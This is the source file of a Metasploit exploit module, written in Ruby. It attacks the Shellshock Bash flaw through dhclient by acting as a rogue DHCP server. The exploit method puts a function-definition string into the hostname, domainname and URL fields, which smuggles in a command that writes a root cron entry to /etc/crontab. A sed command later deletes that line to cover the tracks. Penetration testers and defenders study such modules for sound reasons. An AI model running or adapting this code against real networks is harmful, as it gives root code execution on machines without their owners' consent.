metasploit-framework/modules/exploits/unix/dhcp/bash_environment.rb

94 lines
3.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',
'Description' => %q|
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
handles external environment variables. This module targets dhclient by responding
to DHCP requests with a malicious hostname, domainname, and URL which are then
passed to the configuration scripts as environment variables, resulting in code
execution. Due to length restrictions and the unusual networking scenario at the
time of exploitation, this module achieves code execution by writing the payload
into /etc/crontab and then cleaning it up after a session is created.
|,
'Author' =>
[
'Stephane Chazelas', # Vulnerability discovery
'egypt' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
['CWE', '94'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/']
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
hash['HOSTNAME'] = "() { :; };#{echo}"
hash['URL'] = "() { :; };#{echo}"
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end